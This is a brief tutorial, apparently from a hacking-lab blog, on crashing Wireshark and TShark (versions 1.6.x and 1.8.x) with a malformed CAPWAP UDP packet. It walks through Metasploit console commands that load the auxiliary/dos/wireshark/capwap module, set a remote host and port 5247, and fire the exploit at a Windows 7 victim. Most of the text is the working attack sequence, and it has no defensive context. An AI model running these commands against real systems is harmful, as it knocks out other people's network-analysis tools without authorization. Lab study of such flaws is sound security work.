This module injects a malformed UDP packet to crash Wireshark and TShark 1.8.0 to 1.8.7, as well as 1.6.0 to 1.6.15. The vulnerability exists in the CAPWAP dissector which fails to handle a packet correctly when an incorrect length is given.
Attacker: kali Linux
Victim PC: Windows 7
Open Kali terminal type msfconsole
Now type use auxiliary/dos/wireshark/capwap
msf exploit (capwap)>set rhost 192.168.1.11 (IP of Remote PC)
msf exploit (capwap)>set rport 5247
msf exploit (capwap)>exploit